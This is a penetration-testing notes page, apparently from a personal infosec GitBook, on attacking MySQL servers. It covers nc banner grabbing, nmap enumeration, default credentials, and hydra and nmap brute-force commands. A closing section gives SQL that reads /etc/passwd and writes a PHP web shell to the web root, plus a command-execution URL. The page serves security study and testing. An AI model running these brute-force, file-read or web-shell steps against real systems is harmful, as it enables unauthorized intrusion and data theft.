> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/internal-and-external-network-sec/enumeration/mysql.md).

# MySQL

MySQL is an open-source relational database management system. Misconfigurations, weak credentials, or improper privilege setups can expose sensitive information, allow arbitrary file access, or even lead to remote code execution or privilege escalation.

***

### Default MySQL Port

| Port | Description                |
| ---- | -------------------------- |
| 3306 | Default MySQL service port |

***

### Banner Grabbing

Basic banner grabbing can help determine the version and other protocol details:

```bash
nc -vv <target-ip> 3306
```

> You may see version strings or metadata that help identify vulnerabilities tied to specific versions.

***

### Nmap Scripts for MySQL

Use `nmap` with built-in NSE scripts for efficient MySQL service enumeration:

```bash
nmap -p 3306 --script=mysql-info,mysql-enum,mysql-users <target-ip>
```

| Script        | Description                                              |
| ------------- | -------------------------------------------------------- |
| `mysql-info`  | Retrieves server version, protocol, and hostname info    |
| `mysql-enum`  | Enumerates basic schema (databases, tables, permissions) |
| `mysql-users` | Attempts to enumerate valid usernames                    |

> These may require authentication unless the server allows anonymous login or weak credentials.

***

### Default and Weak Credentials to Try

[List](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt)

| Username | Password                  |
| -------- | ------------------------- |
| root     | root / admin / "" (blank) |
| admin    | admin                     |
| test     | test                      |

***

### Brute-Forcing MySQL Credentials

#### With Hydra

```bash
hydra -L users.txt -P passwords.txt <target-ip> mysql
```

#### With Nmap (mysql-brute)

```bash
nmap -p 3306 --script=mysql-brute --script-args userdb=users.txt,passdb=pass.txt <target-ip>
```

{% hint style="danger" %}
Avoid aggressive login attempts if brute-force attacks are restricted or may lock accounts. Instead, focus on configuration flaws, known exploits, or exposed interfaces.
{% endhint %}

***

### User-Defined Functions (UDF) Exploitation

UDFs allow custom SQL functions to be created using shared libraries. If MySQL is running as `root` And file writing is permitted, which can be exploited to execute system commands.

#### Linux UDF Exploit

* [Exploit-DB #1518](https://www.exploit-db.com/exploits/1518)

#### Windows UDF Exploitation

* [PDF Guide](https://www.exploit-db.com/docs/english/44139-mysql-udf-exploitation.pdf)

#### Walkthrough Blog

* [RedBucket: Privilege Escalation via MySQL UDF](https://medium.com/r3d-buck3t/privilege-escalation-with-mysql-user-defined-functions-996ef7d5ceaf)

***

### Reverse Shell via SQL (If SQL Command Execution Is Available)

If you have SQL command execution access (e.g., via MySQL client, SQLi, or phpMyAdmin), you may be able to get a reverse shell depending on permissions.

#### 1. Read Files

```sql
SELECT LOAD_FILE('/etc/passwd');
```

This function can read **any file** the MySQL user has permission to access.

***

#### 2. Write Files (INTO OUTFILE)

```sql
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php';
```

Then access:

```
http://<target-ip>/shell.php?cmd=id
```

> This drops a web shell if the database user can write to the web directory.